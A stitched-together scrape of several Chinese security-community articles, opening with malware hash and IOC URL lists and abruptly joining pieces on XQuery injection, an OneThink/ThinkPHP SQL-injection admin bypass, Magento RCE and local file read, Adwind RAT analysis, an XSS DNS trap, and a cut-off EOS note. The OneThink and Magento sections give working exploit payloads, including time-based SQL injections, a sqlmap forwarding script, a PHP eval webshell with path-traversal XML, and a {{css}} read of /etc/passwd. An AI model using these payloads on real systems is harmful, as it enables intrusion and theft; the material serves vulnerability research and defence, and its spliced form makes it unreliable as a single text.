2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48
6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a
22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10
3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd
ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a
e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828
9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9
ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e
e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd
a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc
### SYSCON 载荷样本
5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b
fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659
fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5
da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652
2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27
62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7
f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4
0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358
f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084
e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc
1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968
2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48
5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf
0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b
### OceanSalt 载荷样本
5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b
fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659
fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5
da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652
2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27
62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7
f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4
0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358
f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084
e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc
1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968
2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48
5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf
0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b
### URL
https://881.000webhostapp[.]com/1.txt
http://attach10132.1apps[.]com/1.txt
https://071790.000webhostapp[.]com/1.txt
https://vnik.000webhostapp[.]com/1.txt
https://7077.000webhostapp[.]com/vic/1.txt
http://a7788.1apps[.]com/att/1.txt
http://s8877.1apps[.]com/vip/1.txt
http://hanbosston.000webhostapp[.]com/1.txt
http://bluemountain.1apps[.]com/1.txt
https://www.webmail-koryogroup[.]com/keep/1.txt
http://filer1.1apps[.]com/1.txt
ftp.byethost7[.]com
ftp.byethost10[.]com
files.000
webhost[.]com61.14.210[.]72:7117 | 社区文章 |
# 【缺陷周话】第58期：XQuery注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、XQuery 注入
XQuery是一种函数式语言，可用于检索以XML格式存储的信息，负责从XML文档中查找和提取元素及属性。常用于在网络服务中提取信息，生成摘要报告，数据转换等。类似于
XPath 注入，XQuery 注入攻击利用了 XQuery 解析器的松散输入和容错特性，能够在
URL、表单或其它信息上附带恶意代码进入程序,当包含恶意代码的信息参与动态构造XQuery查询表达式，会造成XQuery
注入，攻击者可以利用漏洞获得权限信息的访问权并更改这些信息。本文以JAVA语言源代码为例，分析“XQuery注入”缺陷产生的原因以及修复方法。该缺陷的详细介绍请参见CWE
ID 652: Improper Neutralization of Data within XQuery Expressions (‘XQuery
Injection’) (http://cwe.mitre.org/data/definitions/652.html)。
## 2、“XQuery 注入”的危害
XQuery 注入可能会访问存储在敏感数据资源中的信息，获得被入侵服务器的配置信息。
## 3、示例代码
### 3.1 缺陷代码
上述代码操作是获取到用户输入的用户名、密码并在XML文档中查询该条数据是否存在。首先第23行获取 XML
的数据源对象，第24~25行获取用户输入的用户名和密码，第26行进行 XML 的数据源连接。第27行动态构造 XQuery 查询表达式。第29行通过
XQExpression 执行 XQuery 查询。由于用户名密码来自不可信任的数据源，在正常情况下诸如搜索用户名和密码的对应帐户，该代码执行的表达式如下：
> for $user in doc(users.xml)//user[username=’test_user’ and pass=’pass123′]
> return $user
但是，这个表达式是由一个常数查询字符串和用户输入的字符串连接动态构造而成，因此只有在 username 或 password
不包含单引号字符时，才会正确执行这一查询。如果攻击者为 username 输入字符串 admin’ or 1=1 or ”=’，则该查询会变成：
> for $user in doc(users.xml)//user[username=’admin’ or 1=1 or ”=” and
> password=’x’ or ”=”] return $user
添加条件 admin’ or 1=1 or ”=’ 会使 XQuery 表达式永远评估为 true。因此，该查询在逻辑上等同于更简单的查询：
> //user[username=’admin’]
无论输入什么样的密码，查询结果集都会返回文档中存储的管理用户，这样的查询会使攻击者绕过用户名与密码同时匹配的要求。
使用代码卫士对上述示例代码进行检测，可以检出“XQuery注入”缺陷，显示等级为中，从跟踪路径中可以分析出数据的污染源以及数据流向。在代码行第29报出缺陷，如图1所示：
图1：“XQuery 注入”检测示例
### 3.2 修复代码
在上述修复代码中，在第27行中使用 declare 语法声明字符串变量username和password。第34~37行使用 XQExpression
对象的 bindString() 方法把变量绑定到查询。类似于SQL查询中的占位符，这里使用声明变量来模拟参数化查询。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“XQuery注入”缺陷。如图2所示：
图2：修复后检测结果
## 4、如何避免“XQuery 注入”
（1）使用参数化的查询，/root/element[@id=$ID]
（2）创建一份安全字符串列表，限制用户只能输入该列表中的数据。
（3）净化用户输入，fn:doc()、fn:collection()、xdmp:eval() 和xdmp:value() 这些函数需要特别注意，过滤掉
’、[、= 和 &等特殊字符。 | 社区文章 |
OneThink前台注入进后台分析
我是某次授权的渗透过程中，遇到了OneThink，那么经过一番审计和尝试，最终实现了`OneThink <
1.1.141212`时的任意进后台，之前没有系统审计过tp3系列的注入问题，所以这里也是简单回顾一下对对onethink的前台注入问题审计的过程，各位大佬轻喷~
以`OneThink 1.0.131218`为例，本地搭建起`one.think`
打开源码文件夹，好家伙，踏破铁鞋无觅处，得来全不费工夫——thinkphp3.2.3的框架，那岂不是，
咱们一起回顾下它sql注入时参数的传递过程
# \OneThink\ThinkPHP\Library\Think\Model.class.php #1576L
public function where($where,$parse=null){//$where=array("username"=>"xxx")
...
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);//从左到右，合并数组到options中
}else{
$this->options['where'] = $where;
}
return $this;
}
上边简单进行了数组合并，再跟进`find()`， 将`$option`变量传入`$this->db`对象的`select`函数，
# \OneThink\ThinkPHP\Library\Think\Model.class.php #624L
public function find($options=array()) {
...
$resultSet = $this->db->select($options);
...
进入`select`函数，关注到它的里面使用到了`buildSelectSql`方法
`$options`变量的学问就在其中，
# \OneThink\ThinkPHP\Library\Think\Db.class.php # 804L
...
protected $selectSql = 'SELECT%DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%COMMENT%';
...
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
...
$sql = $this->parseSql($this->selectSql,$options);/*关键*/
...
这个`parseSql`里面，起到注入作用，最重要的就是`parseWhere`方法
`，
parseKey是一个取值方法，没实际意义
下面就是注入发生的地方了，好好分析一下这个`parseWhereItem()`函数
首先，`$val`来源于上面的`$where`变量，是咱们可控的；
其次，这里正则判断有大问题，没有使用`^`
`$`来定界，导致`xxINxx`这种形式也能通过判断，`val[0]`在`IN`后面实际可构造出任意内容，后续进行了拼接，导致sql注入。
# \OneThink\ThinkPHP\Library\Think\Db.class.php #469L
protected function parseWhereItem($key,$val) {
$whereStr = '';
elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
}
那么确定存在注入问题，这里咱们看看前台登录地址处，具体怎么注入
## 注入分析
**payload1-in注入**
username[]=in ('')) and (select 1 from (select sleep(4))x)--+-&password=2&verify=0x401
实际执行SQL语句
SELECT * FROM `onethink_ucenter_member` WHERE ( `username`
IN ('')) AND (SELECT 1 FROM (SELECT SLEEP(4))X)-- - () ) LIMIT 1
**payload2-exp注入**
username[0]=exp&username[1]=>(select 1 from (select sleep(3))x)&password=2&verify=0x401
实际执行SQL语句
SELECT * FROM `onethink_ucenter_member` WHERE ( (`username`
> (select 1 from (select sleep(3))x)) )
**payload3-between注入**
username[0]=BETWEEN 1 and ( select 1 from (select sleep(2))x)))--+-&username[1]=&password=2&verify=0x401
SELECT * FROM `onethink_ucenter_member` WHERE ( (`username`
BETWEEN 1 AND ( SELECT 1 FROM (SELECT SLEEP(2))X)))-- - '' AND null ) ) LIMIT 1
ok，现在有了注入，我们就能使用联合查询，来绕过后台用户登录，实现"万能密码"的效果。但在这之前，还需要分析完整的登录逻辑。
## 登录逻辑分析
使用[FileMonitor](https://github.com/TheKingOfDuck/FileMonitor)工具，得到后台登录处的SQL语句
SELECT * FROM `onethink_ucenter_member` WHERE ( `username` = '1' ) LIMIT 1
而数据表`onethink_ucenter_member`的结构如下图，有11列，那么联合注入就需要构造11个参数`union select
1,2,3,4,...,11`
接着发现登录处的链接为[`http://one.think/index.php?s=/admin/public/login.html`](http://one.think/index.php?s=/admin/public/login.html)，跟入源码
# OneThink\Application\Admin\Controller\PublicController.class.php : 31L
public function login($username = null, $password = null, $verify = null){
...
$User = new UserApi;
$uid = $User->login($username, $password);
...
跟进`UcenterMemberModel`类，进入`login`函数
# /OneThink/Application/User/Api/UserApi.class.php #42L
...
protected function _init(){
$this->model = new UcenterMemberModel(); //初始化
}
...
public function login($username, $password, $type = 1){
return $this->model->login($username, $password, $type);
}
继续跟进，发现登录的关键逻辑
# /OneThink/Application/User/Model/UcenterMemberModel.class.php #148L
/* 获取用户数据 */
public function login($username, $password, $type = 1){
$map = array();
switch ($type) {
case 1:
$map['username'] = $username; //【给map数组赋值】
break;
...
/* 获取用户数据 */
$user = $this->where($map)->find(); //【1 用户名验证】
if(is_array($user) && $user['status']){
/* 验证用户密码 */
if(think_ucenter_md5($password, UC_AUTH_KEY) === $user['password']){【2 密码验证】
$this->updateLogin($user['id']); //更新用户登录信息
return $user['id']; //登录成功，返回用户ID
} else {
return -2; //密码错误
}
} else {
return -1; //用户不存在或被禁用
}
整理知道：一个用户要成功登录，得过两道坎：
1. **用户名验证。** 即要通过`$username`的验证，并使得查询出的`$user['status']`大于零，所以关注`$user = $this->where($map)->find()`这一条，跟进`where()`方法，追到`\ThinkPHP`文件夹下了，这是注入点。
2. **密码验证。** 即还要使得`think_ucenter_md5($password, UC_AUTH_KEY)`等于查询出的`$user['password']`，`$password`其实就是咱们登陆时输入的密码，我们跟进`think_ucenter_md5`
# \OneThink\Application\User\Common\common.php #15L
function think_ucenter_md5($str, $key = 'ThinkUCenter'){
return '' === $str ? '' : md5(sha1($str) . $key);
}
得出结论： **如果输入值为空值，那么加密函数返回的结果也为空值**
——舒服了，根本不必用到hash计算嘛！所以密码验证这一步也搞定了，只需要让POST上去的密码为空即可！
网络不是不法之地。虽然已经可以进后台了，但依然不知道管理员的账号密码，有一些登录界面没有验证码，所以这里再提供一种对接SQLMAP的思路（非改tamper），供大家参考
## 对接sqlmap：Flask参数转发
首先注入点位置如下图[inejct.png](https://cdn.nlark.com/yuque/0/2020/png/166008/1596112512100-0a1dce03-e09b-4594-8a65-2b7e31302c98.png#align=left&display=inline&height=411&margin=%5Bobject%20Object%5D&name=inejct.png&originHeight=411&originWidth=1362&size=71679&status=done&style=none&width=1362)
# encoding: utf-8
# sqli-reverse-flask.py
from flask import Flask,request,jsonify
import requests
def remote_login(payload):
'''
对服务器发起访问请求
'''
burp0_url = "http://one.think:80/index.php?s=/admin/public/login.html"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"}
# )) or 1=1 -- - pay = ") =' {} ')-- -".format(payload) # )={payload} ）1 = 1
print(pay)
burp0_data = {"act": "verify", "username[0]": 'exp', "username[1]": pay, "password": "", "verify": ""}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
return resp.text
app = Flask(__name__)
@app.route('/')
def login():
payload = request.args.get("id")
print(payload)
response = remote_login(payload)
return response
if __name__ == '__main__':
app.run()
那么经过这个转发脚本，原本复杂的参数被简化，你只需要在本地对`http://127.0.0.1:5000/?id=1`跑sqlmap即可。原理上其实与写tamper脚本相同，都是让sqlmap能够识别出“简化过的”注入参数。
python sqlmap.py -u http://127.0.0.1:5000/?id=1 --tech=B --dbms=mysql --batch
# reference
* [ThinkPHP3.2.3框架实现安全数据库操作分析 ](https://xz.aliyun.com/t/79)
* [ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)_Fly_鹏程万里-CSDN博客_thinkphp3.2.3 漏洞](https://blog.csdn.net/Fly_hps/article/details/84954205)
* [Thinkphp框架输出sql语句](https://blog.csdn.net/weixin_41031687/article/details/82773649?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight)
* [http://documeeent.thinkphp.cn/manual_3_2.html#log](http://document.thinkphp.cn/manual_3_2.html#log) | 社区文章 |
# 摘要
为了漏洞赏金计划，我经常在大型服务上查找漏洞。这是我关于Magento的第二篇文章，其中包含了我发现的两个Magento漏洞。Magento是一个大型电子商务CMS，现在是Adobe
Experience Cloud的一部分。这些漏洞我已经披露给Magento团队，并及时在Magento 2.3.0、2.2.7和2.1.16中打了补丁。
这两个漏洞都需要低权限的管理员帐户，通常授予市场营销用户（Marketing users）：
第一个漏洞是使用路径遍历执行命令，用户能够创建产品。
第二个漏洞是本地文件读取，用户能够创建电子邮件模板。
下面是相关细节。
# 产品创建中的命令执行
通过产品创建系统的Design选项卡，Magento有自己的方法来定义产品的布局。它的格式是基于XML的，并且遵循Magento创建的语法。完整的文档如下：
<https://devdocs.magento.com/guides/v2.3/frontend-dev-guide/layouts/xml-instructions.html>
有趣的是可以使用`<block>`标签实例化块，然后使用`<action>`标签调用其上的方法。顺便说一句，这只在对象实现Block接口的情况下才起作用。但是，我正在搜索是否有什么有趣的东西与此相关，接着我看到了`Magento
\ Framework \ View \ Element \ Template`类的以下函数：
/**
* Retrieve block view from file (template)
*
* @param string $fileName
* @return string
*/
public function fetchView($fileName)
{
$relativeFilePath = $this->getRootDirectory()->getRelativePath($fileName);
\Magento\Framework\Profiler::start(
'TEMPLATE:' . $fileName,
['group' => 'TEMPLATE', 'file_name' => $relativeFilePath]
);
if ($this->validator->isValid($fileName)) {
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$templateEngine = $this->templateEnginePool->get($extension);
$html = $templateEngine->render($this->templateContext, $fileName, $this->_viewVars);
} else {
$html = '';
$templatePath = $fileName ?: $this->getTemplate();
$errorMessage = "Invalid template file: '{$templatePath}' in module: '{$this->getModuleName()}'"
. " block's name: '{$this->getNameInLayout()}'";
if ($this->_appState->getMode() === \Magento\Framework\App\State::MODE_DEVELOPER) {
throw new \Magento\Framework\Exception\ValidatorException(
new \Magento\Framework\Phrase(
$errorMessage
)
);
}
$this->_logger->critical($errorMessage);
}
\Magento\Framework\Profiler::stop('TEMPLATE:' . $fileName);
return $html;
}
这段代码负责从文件加载模板；有两个被授权的扩展名，分别是phtml(将其视为PHP模板文件)和xhtml(将其视为HTML文纯文本文件？)。显然，我们需要PHP模板文件。
`$fileName`参数被传递到`\Magento\Framework\View\Element\Template\File\Validator::isValid()`函数中，该函数检查文件是否在特定的目录中(编译、模块或主题目录)。使用isPathInDirecery执行检查操作：
protected function isPathInDirectories($path, $directories)
{
if (!is_array($directories)) {
$directories = (array)$directories;
}
foreach ($directories as $directory) {
if (0 === strpos($path, $directory)) {
return true;
}
}
return false;
}
此函数仅检查提供的路径是否以特定的目录名开头(例如`/path/to/your/magento/app/code/Magento/Theme/view/frontend/`)。但是，它并不能控制仍然在白名单目录中的解析路径。这意味着在这个函数中有一个明显的路径遍历，我们可以通过`Product
Design`调用它。但是，它只将`.phtml`文件作为PHP代码处理，在大多数上传表单上禁止扩展。
“大多数上传表单”意味着有例外！您可以创建一个带有“自定义选项”的文件和“File”。我想这是为了防止客户想要发送3D模板或订单说明。事实是你可以上传扩展名，包括phtml。订购商品后，上传的文件将存储在`/your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourFile).extension`
命令执行payload。以下是完整的步骤：
1 使用具有一些低管理员权限的用户登录并允许创建产品
2 首先，创建一个新产品，使用类型为File的新自定义选项，将.phtml作为授权扩展，并订购一个订单。
3 在前端，在您刚刚创建的产品上。上传.phtml并在购物车中设置项。例如，我的文件名为“ blaklis.phtml ”并包含`“<?php
eval(stripslashes($_REQUEST[0])); ?>“`
4 .phtml文件将上传到
/your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourPhtmlFile).phtml.
例如，对于我的文件，位置将是
/your/path/to/magento/pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml
5 您必须有应用程序的完整路径才能使用fetchView函数。检索它的一种简单方法是运行以下请求：
POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1
[...]
Connection: close
remote_image=https://i.vimeocdn.com/video/41237643_640.jpg%00&form_key={{your_form_key}}
这将导致curl崩溃并显示包含完整路径的错误。
6 在产品的“设计”选项卡中，使用布局更新XML中的以下XML添加2列布局：
<referenceContainer name="sidebar.additional">
<block class="Magento\Backend\Block\Template" name="test">
<action method="fetchView">
<argument name="fileName" xsi:type="string">/path/to/your/magento/app/code/Magento/Theme/view/frontend/../../../../../../pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml</argument>
</action>
</block>
</referenceContainer>
7 转到该产品的前端页面；您的代码应该执行。
# 电子邮件模板的本地文件读取
这个发现的要简单得多；事实上，这是一个非常明显的漏洞。电子邮件模板允许使用一些由{}包围的特殊指令。其中一个指令是`{{css'path'}}`,将CSS文件的内容加载到电子邮件中。path参数易受路径遍历的影响，可用于将任何文件插入电子邮件模板。
管理此指令的函数如下：
public function cssDirective($construction)
{
if ($this->isPlainTemplateMode()) {
return '';
}
$params = $this->getParameters($construction[2]);
$file = isset($params['file']) ? $params['file'] : null;
if (!$file) {
// Return CSS comment for debugging purposes
return '/* ' . __('"file" parameter must be specified') . ' */';
}
$css = $this->getCssProcessor()->process(
$this->getCssFilesContent([$params['file']])
);
if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) {
// Return compilation error wrapped in CSS comment
return '/*' . PHP_EOL . $css . PHP_EOL . '*/';
} elseif (!empty($css)) {
return $css;
} else {
// Return CSS comment for debugging purposes
return '/* ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */';
}
}
public function getCssFilesContent(array $files)
{
// Remove duplicate files
$files = array_unique($files);
$designParams = $this->getDesignParams();
if (!count($designParams)) {
throw new \Magento\Framework\Exception\MailException(
__('Design params must be set before calling this method')
);
}
$css = '';
try {
foreach ($files as $file) {
$asset = $this->_assetRepo->createAsset($file, $designParams);
$pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType());
if ($pubDirectory->isExist($asset->getPath())) {
$css .= $pubDirectory->readFile($asset->getPath());
} else {
$css .= $asset->getContent();
}
}
} catch (ContentProcessorException $exception) {
$css = $exception->getMessage();
} catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) {
$css = '';
}
return $css;
}
这两个函数在任何地方都不检查路径遍历字符，并且确实容易受到攻击。
使用`{{css file="../../../../../../../../../../../../../../../etc/passwd"}}`
创建电子邮件模板触发漏洞。
# 时间线
2018.09.11：路径遍历/RCE首次披露。
2018.09.17：由Bugcrowd工作人员进行分类
2018.10.08：由Magento员工分类
2018.11.28：Magento发布针对版本2.2.7和2.1.16的补丁。
2018.12.11：获得5000美元奖金
2018.08.09：路径遍历/本地文件读取的初始披露
2018.08.29：在询问详细信息后由Bugcrowd工作人员进行分类
2018.10.08：由Magento员工分类
2018.11.28：Magento发布针对版本2.2.7和2.1.16的补丁
2019.01.04：获得2500美元奖金
翻译来源：https://blog.scrt.ch/2019/01/24/magento-rce-local-file-read-with-low-privilege-admin-rights/ | 社区文章 |
Adwind远程管理工具（RAT）是一种基于Java后门的木马工具，它支持使用Java文件的各种平台。
用户通常通过点击电子邮件的`.jar文件`附件来运行恶意软件。 通常，如果用户安装了`Java Runtime`环境，则会感染该病毒。
恶意的`.jar`文件在目标系统上成功运行后将自行进行安装并通过预配置端口连接到远程服务器。之后，被攻击系统变可以收到远程攻击者的命令并执行下一步操作。最近，McAfee实验室发现了一种新型版本的工具，它将JAR软件附在垃圾邮件后进行恶意软件传播，并使用`Houdini
VBS`蠕虫来感染用户。
### 感染链表
恶意软件的传播机制与之前版本相同。
它将带有.jar附件的垃圾邮件传递给用户，并对邮件内容精心设置以便吸引读者点开。我们可以总结整个感染链，如下面的图片所示：
钓鱼邮件如下：
### 父类JAR文件
为了简单起见，我们只是将附加的`.jar`文件称为`父类jar文件`，并将其命名为`Sample.jar`。
通常，`Adwind`采用混淆形式来隐藏其攻击目的。使用DES，RC4或RC6密码对
其payload和配置文件（用作安装文件）进行加密，而具体的加密类型具体取决于版本。`Adwind`的后门将在执行期间进行动态解密操作。
在这个版本的工具中，我们可以看到`Manifest.MF`的内容。 它发挥作用的类为`bogjbycqdq.Mawbkhvaype`。
### Mawbkhvaype.class内容解析
此类的主要任务是检查Jar包中可用的资源文件。 这里，资源`mzesvhbami`是一个`vbs`文件。
`Mawbkhvaye.class`将检查资源部分中的`mzesvhbami`，然后在用户的主目录中删除`bymqzbfsrg.vbs`，然后在`wscript`的帮助下执行它。
### Bymqzbfsrg.vbs作用
该文件中存在大量混淆的`base64`编码数据。 下面的代码段显示了`Bymqzbfsrg.vbs`脚本的部分内容。
经过反混淆和解码后，base64编码数据将转换为`ntfsmgr.jar`，并在`％appdata％/Roaming`中被删除。
下面的代码段显示了base64编码数据到Jar文件的转换：
**Ntfsmgr.jar**
这里，`drop.box`是`ntfsmgr.jar`中的重要文件，`mega.download`和`sky.drive`将用于创建恶意软件的配置文件。
### 最终payload
`Ntfsmgr.jar`中将`operational.Jrat`作为主类。
`operational.Jrat`将另一个.jar文件放入`％TEMP％`文件夹中，而文件中包含随机文件名`[underscore] [dot]
[random numbers]
[dot]`类，例如payload`_0.1234567897654265678.class`，之后该payload将在用户系统上执行并恶意操作。下面的代码段显示了`operation.Jrat`的运行过程，并在`％TEMP％`位置创建最终payload。
`Manifest.MF`中的内容看起来类似于`ntfsmgr.jar`。 最终Java文件中将被动态解密并进行感染系统操作。
`Adwind`成功感染系统后将记录用户的按键情况并修改和删除文件。之后将截取屏幕截图，访问系统摄像头，控制鼠标和键盘，更新软件等等。最近我们并不打算对此进行深入研究。在本文中，我们将对`Bymqzbfsrg.vbs`进行分析。
### Bymqzbfsrg.vbs的工作模式
该文件成功执行后，`Bymqzbfsrg.vbs`会在`％appdata％
Roaming`中删除`ntfsmgr.jar`和`sKXoevtgAv.vbs`。
`Bymqzbfsrg.vbs`使用`ExecuteGlobal`在脚本执行动态执行方法`naira`，如下面的代码片段所示：
脚本的动态执行操作如下所示：
下面的代码段展现了在`％appdata％Roaming`中删除`sKXoevtgAv.vbs`脚本的过程。
这里我们看到在`％appdata％Roaming`中删除ntfsmgr脚本。
在执行时，`sKXoevtgAv.vbs`将自身解码为`Houdini vbs`蠕虫病毒，这是最终的payload。 脚本的前几行如下：
攻击者可能会在受害者的机器上执行恶意代码，包括:
* 下载并执行受害者计算机上的文件
* 运行代码命令
* 更新或卸载自身的软件
* 下载和上传文件
* 删除文件或文件夹
* 终止进程
之后我们将枚举受害者计算机上的文件和文件夹。
### 其余要点：
1 为了能对系统进行持久性攻击，它会创建一个运行条目。
当`ntfsmgtr.jar`运行时，它会将自身添加到启动过程中，以便在系统启动时运行它。
2 它会检查系统上安装的病毒检测产品。
3 如果上述过程执行后，它会将已安装的`Java Runtime`文件复制到受害者主目录中的临时目录中，否则它将从Web下载并复制到同一目录中。
### 总结
在最近的分析中，我们已经看到攻击者在同一次感染中使用两个类似功能的恶意软件。 通常，攻击者会选择相同路径以获得更高的成功感染概率。
分析中使用的哈希值：
Sample.jar:07cb6297b47c007aab43311fcfa9976158b4149961911f42d96783afc517226a
Ntfsmgr.jar：ee868807a4261a418e02b0fb1de7ee7a8900acfb66855ce46628eb5ab9b1d029
McAfee建议用户始终保持其检测软件的签名值为最新状态。 McAfee产品将恶意jar文件检测为`Adwind-FDVH.jar![Partial
hash]`和`Adwind-FDVJ.jar! [Partial Hash]`。
本文为翻译文章，来自：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/java-vbs-joint-exercise-delivers-rat/ | 社区文章 |
# 【技术分享】XSS Trap—XSS DNS防护的简单尝试
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**安全客点评**
思路挺新颖的，虽然这种防护有一定的局限性，比如攻击者用IP替代域名就绕过了，但是可以通过文中提及的XSS
DNS防护方式了解到企业业务中有哪些WEB服务的XSS点正在被利用，方便排查，而且该防护措施部署上也不是很复杂。
**
**
**前言**
对于一个大的企业来说，要完全杜绝某一类型的漏洞是很难的，特别是 XSS
这种乍一看危害不大但是实际上影响面比较广，而且触发点相对来说比较多的漏洞。相关案例乌云上很多，有兴趣的可以找乌云镜像站看看。XSS 的利用在 XSS
Platform 出现之后就变得简单了，给页面挂上一个 JS，然后剩下的全都交给 XSS Platform 去做，结果也从那里获取，so
easy，流程图如下。
而很多人为了图方便，并没有自己搭建私有 XSS Platform，且不说这里存在漏洞泄漏的可能，免费公共的 XSS Platform
往往就那么几个，域名一般也不会变动，这里给了一种防护的思路。
**XSS DNS 防护**
如标题所说，XSS DNS 防护，是因为在企业网络中发起的 DNS 查询是可以由企业自己的 DNS 服务器自由控制的，所以对于这种暴露的 XSS
Platform 只要收集一下把这些域名都 block 掉就行了，这样，企业网络的 XSS 就少一些了。但是 XSS
并没有自己消失只是无法触发了而已，这时稍做修改就能把测试者的 XSS “偷” 过来，还是上面那个图。
因为 DNS 是递归查询的，所以如果企业网络的 DNS 存在 evil.com 的记录，那么这一条 DNS Query 就永远不会递归到 evil.com
域名 NS 记录的 DNS 服务器上面去，可以看到此时已经是向 1.1.1.1 这个 IP 去获取 JS 了，而存放恶意 JS 的 IP 是
2.2.2.2，所以此时 XSS 失效。另外，1.1.1.1 是的一台可控制的 Nginx 服务器，配置文件做一个
error_page 404 =200 /xss.js;
的配置可以保证每次都能取到 JS，获得 XSS 反馈。具体的代码实现在 [Github](https://github.com/ysrc/XSS-Trap)
上。
实现起来比较简单，而且挺有意思，然而这样的防护方式实际比较简陋，所以说是一次尝试。
**不足之处** ：
1、XSS Platform 通过 IP 访问；
2、XSS Platform 域名没有暴露；
3、防护的区域有限；
**现在比较有效的几种方法：**
1、重要站点开启 HTTPS，搭建过 XSS Platform 的话可以发现，改成 HTTPS 兼容需要注意很多小问题，所以现在很多平台图方便，都没有
HTTPS 的 JS 钩子。
1、CSP，本文的思路和实践，其实 CSP 都能优雅的实现，Block 或者 Report，但是相对网络复杂的企业来说推进起来比较复杂。
附一张结果图，配合微信通知，效果还不错～
扫码关注YSRC公众号，回复 xss平台，即可获取我们搜集到的xss平台地址。 | 社区文章 |
# EOS REX 安全系列之从源码开始玩转 REX（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
伴随着 REX 提案终于被 BP 们投票通过，炒了半年概念的 REX
